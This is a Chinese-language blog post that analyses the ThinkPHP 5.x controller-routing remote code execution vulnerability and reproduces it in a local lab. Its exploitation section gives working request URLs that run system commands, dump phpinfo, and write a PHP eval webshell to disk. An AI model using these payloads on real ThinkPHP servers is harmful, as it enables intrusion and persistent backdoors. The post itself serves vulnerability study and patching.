ThinkPHP 5.x 远程命令执行漏洞分析与复现

0x00 前言

ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的 getshell 漏洞,受影响的版本包括 5.0 和 5.1 版本,推荐尽快更新到最新版本。

0x01 影响范围

5.x < 5.1.31, <= 5.0.23

0x02 漏洞分析

立即学习“PHP免费学习笔记(深入)”;

Thinkphp v5.0.x 补丁地址: https://github.com/top-think/framework/com…

Thinkphp v5.1.x 补丁地址: https://github.com/top-think/framework/com…

路由信息中 controller 的部分进行了过滤,可知问题出现在路由调度时

关键代码:

068ec8d6f03fa449dcaf9b985c1cb60.png

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入 符号来调用任意类方法。

2ab4a42cbecf5aeeaa2e70f210ccfc5.png

其中使用了 $this->app->controller 方法来实例化控制器,然后调用实例中的方法。跟进 controller 方法:

其中通过 parseModuleAndClass 方法解析出 $module 和 $class,然后实例化 $class。

3e3b45fde81aa19f29f8ae834667751.png

而 parseModuleAndClass 方法中,当 $name 以反斜线 开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的 $name(即路由中的 controller 部分),那么就可以实例化任何一个类。

接着,我们再往回看路由解析的代码。其中 route/dispatch/Url.php:: parseUrl 方法调用了 route/Rule.php:: parseUrlPath 来解析 pathinfo 中的路由信息

84c51f3cfe4823dc65da0e26ad2b05e.png

代码比较简单,就是使用 / 对 $url 进行分割,未进行任何过滤。

其中的路由 url 从 Request::path () 中获取

95e303961ece647f8c618fb896a470c.png

由于 var_pathinfo 的默认配置为 s,我们可利用 $_GET [‘s’] 来传递路由信息,也可利用 pathinfo 来传递,但测试时 windows 环境下会将 $_SERVER [‘pathinfo’] 中的 替换为 /。结合前面分析可得初步利用代码如下:index.php?s=index/namespaceclass/method ,这将会实例化 namespaceclass 类并执行 method 方法。

0x03 漏洞利用

docker 漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29

本地环境:thinkphp5.0.15+php5.6n+ apache2.0

http://www.thinkphp.cn/donate/download/id/…

1. 利用 system 函数远程命令执行

http://localhost:9096/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

3a779bc82bdd40466fdd5d3e51d7846.png

2. 通过 phpinfo 函数写出 phpinfo () 的信息

http://localhost:9096/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

431d2a91356b05423ad3a25c789407e.png

3. 写入 shell:

http://localhost:9096/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

或者

http://localhost:9096/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

9edaaa1fb366233c5370ef57b22cf52.png

以上就是ThinkPHP 5.x 远程命令执行漏洞分析与复现的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/110202.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月23日 06:57:38
下一篇 2025年11月23日 07:19:04

相关推荐

  • php怎么编写代码

    编写 PHP 代码的指南:设置开发环境:安装 PHP 解析器、Web 服务器和文本编辑器/IDE。创建 PHP 文件:使用文本编辑器创建扩展名为 “.php” 的文件。编写代码:使用 语法编写 PHP 代码。运行代码:保存 PHP 文件,在 Web 服务器中打开,并在浏览器中…

    2025年12月9日
    000
  • 如何访问本地php文件

    可以通过以下三种方法访问本地 PHP 文件:Web 服务器:使用 Apache 或 Nginx 等 Web 服务器,将 PHP 文件移动到服务器的文档根目录,并在 Web 浏览器中输入文件路径。PHP 命令行界面 (CLI):安装 PHP CLI,并在命令提示符或终端窗口中使用 php 命令执行 P…

    2025年12月9日
    000
  • 如何学习 PHP

    PHP 是一种编程语言,具有相对简单但通用的语法,使其成为初学者的一个很好的起点。然而,您可能仍然对第一次实现 PHP 代码的想法感到不知所措。还好,有很多 您可以用来学习 PHP 的免费资源。无论您是否观看过一些 YouTube 教程或参加在线课程,您可以快速熟悉 使用这种流行的编程语言。 在这篇…

    2025年12月9日
    300
  • PHP 初学者:选择开源框架还是自己构建框架?

    PHP 框架选择与自身框架构建 对于希望编写自己的 PHP 框架的初学者来说,学习开源框架是必不可少的。本文将介绍一些流行的 PHP 框架,并提供编写框架的建议。 推荐开源框架 ThinkPHP: 为电商平台量身打造,注重简单、高效。Zend Framework: 企业级框架,功能丰富,适用于大型项…

    2025年12月9日
    000
  • PHP 调用接口返回为空:如何排查 SoapClient 问题?

    php 调用接口返回始终为空 在使用 soapclient 调用接口时,如果你发现返回结果一直为空,可能是因为以下原因: soap 扩展未启用 php 的 soap 扩展用于处理 soap 请求。如果你未启用此扩展,则无法使用 soapclient。可以使用以下步骤检查 soap 扩展是否已启用: …

    2025年12月9日
    000
  • 初学 PHP,如何构建自己的电商平台框架?

    初探 PHP 框架,搭建电商平台 作为一名刚接触 PHP 的程序员,您正在寻求构建自己的 PHP 框架,以满足贵公司的电商平台需求。本文将基于您的问题提出 PHP 开源框架建议,并分享一些开发经验。 PHP 开源框架推荐 熟悉其他成熟框架的代码结构和最佳实践有助于您编写自己的框架。以下是几个值得考虑…

    2025年12月9日
    000
  • 如何使用 PHP 连接 SQL Server 数据库?

    如何通过 php 连接 sql server? 在 php 中连接 microsoft sql server 需要采取以下步骤: 1. 下载 sql server 驱动 前往 microsoft 网站下载适用于 php 的 sql server 驱动程序。 2. 安装驱动 立即学习“PHP免费学习笔…

    2025年12月9日
    000
  • 如何用 PHP 连接 SQL Server?

    php 连接 sql server 详解 想要在 php 中连接 sql server,以下是一步步的指南: 安装 sql server 驱动程序 在 php 中连接 sql server,需要先安装 sql server 驱动程序。可以在 php 手册中找到适用于 windows(sqlsrv)和…

    2025年12月9日
    000
  • 如何使用 PHP 连接到 SQL Server 数据库?

    谁会用PHP连接SQL Server? 问题: 有没有人知道如何使用 PHP 连接到 SQL Server 数据库? 答案: 立即学习“PHP免费学习笔记(深入)”; 这里有一些资源可以帮助您: [在 Windows 下的 PHP 连接到 Microsoft SQL Server](http://w…

    2025年12月9日
    000
  • 配置低的电脑可以安装 Linux 系统吗?

    配置低的电脑是否能安装 Linux 系统? 想要学习 Linux,但经济紧张只能购买旧电脑,对配置要求存在疑问。本文将针对这个问题展开解答,为您提供详细的指导。 Linux 系统对配置的要求 Linux 系统对硬件配置的要求相对较低,这一点与 Windows 等系统不同。一般来说,具有以下配置的电脑…

    2025年12月9日
    000
  • 低配电脑能流畅运行Linux系统吗?

    低配电脑能否安装 Linux 系统 对于想学习 Linux 系统但经济紧张的朋友,购买一台旧电脑是不错的选择。不过,在这之前,我们先来探讨一下低配电脑是否适合安装 Linux。 Linux 系统是一种轻量级的操作系统,相对于 Windows 系统来说,对硬件要求较低。一台低配电脑,例如配备了第一代主…

    2025年12月9日
    000
  • PHP访问本地路径问题:如何让PHP访问本地文件并通过URL进行操作?

    php访问本地路径 问题: php能否访问本地路径上的文件,如果无法访问,如何解决? 回答: 立即学习“PHP免费学习笔记(深入)”; php本身可以访问本地路径上的文件。然而,如果要让用户可以通过url访问本地文件,则受apache的限制。 解决方案: 有两种方法可以解决此问题: 使用虚拟目录映射…

    2025年12月9日
    000
  • 如何使用PHP越过Apache访问本地文件?

    访问本地路径的变通方法 PHP可以访问本地文件,但用户只能通过URL访问Apache可以访问的文件。对于需要越过Apache访问本地文件的情况,有以下方法可以考虑: 方法一:设定可访问目录 PHP将文件写入Apache可访问的目录。可将目录设定在站点目录中,或使用虚拟目录指向该目录。 方法二:中转P…

    2025年12月9日
    000
  • 如何让 PHP 访问本地文件?

    PHP 访问本地路径 在 PHP 开发中,我们可以直接访问本地文件进行读写操作。然而,通过 URL 访问的用户只能获取 Apache 能访问的文件。如果要访问 Apache 之外的文件,以下两种方法可供选择: 将文件写到 Apache 可访问目录:PHP 可以将文件写入 Apache 可访问的目录中…

    2025年12月9日
    000
  • PHP 如何访问本地路径?

    使用 PHP 访问本地路径 PHP 可以访问本地文件,但需要注意,用户通过 URL 只能访问 Apache 环境中的文件。因此,要越过 Apache 访问本地文件,有两种方法: 将文件写入一个 Apache 可访问的目录。该目录可以位于网站目录中,也可以创建指向该目录的虚拟目录。创建一个中介 PHP…

    2025年12月9日
    000
  • 访问同一网站出现 DNS_PROBE_FINISHED_NXDOMAIN 错误,如何排查问题?

    访问同一网站出现 DNS_PROBE_FINISHED_NXDOMAIN,排查问题指南 当访问同一网站时,出现有的电脑显示 DNS_PROBE_FINISHED_NXDOMAIN 而有的电脑能够正常显示的情况,需要对问题电脑进行排查。 首先,确保两台电脑都能正常上网并访问其他网站,排除网络连接和设备…

    2025年12月9日
    000
  • 网页php代码怎么查

    查看网页中 PHP 代码有三种方法:直接查看源代码、使用浏览器开发工具或第三方工具。 如何在网页中查看 PHP 代码 直接查看源代码 最简单的方法是直接查看网页的源代码。在大多数网络浏览器中,可以通过以下步骤进行操作: 按下键盘上的“Ctrl + U”(Windows)或“Command + U”(…

    2025年12月9日
    000
  • php源代码怎么用

    如何使用 PHP 源代码?准备开发环境:安装 PHP 解析器、开发工具。创建 PHP 文件:扩展名为 “.php”,编写 PHP 代码。运行 PHP 文件:使用 Web 服务器或命令行。理解 PHP 语法:遵循其规则和关键字。利用 PHP 函数和类:简化开发并增强功能。连接到…

    2025年12月9日
    000
  • ThinkPHP6中如何获取某个字段的值?

    thinkphp6出现thinkcollection::value()方法未定义的原因 在thinkphp6中,许多方法已被重新设计,包括value()方法。在官方手册中看到的value()方法已经不再存在,所以当你直接使用它时,系统会提示方法未定义。 解决方法 为了直接获取某个字段的值,think…

    2025年12月9日
    000
  • Laravel 查询构造器如何实现批量处理数据集合类似 ThinkPHP 中 withAttr 功能的效果?

    laravel查询构造器中批量处理数据集合 在laravel中,可以通过修改内置的toarray方法或自己实现一个新方法,实现类似于thinkphp中withattr功能的效果。 自定义方法 namespace app { … class customcollection extends col…

    2025年12月9日
    000

发表回复

登录后才能评论
关注微信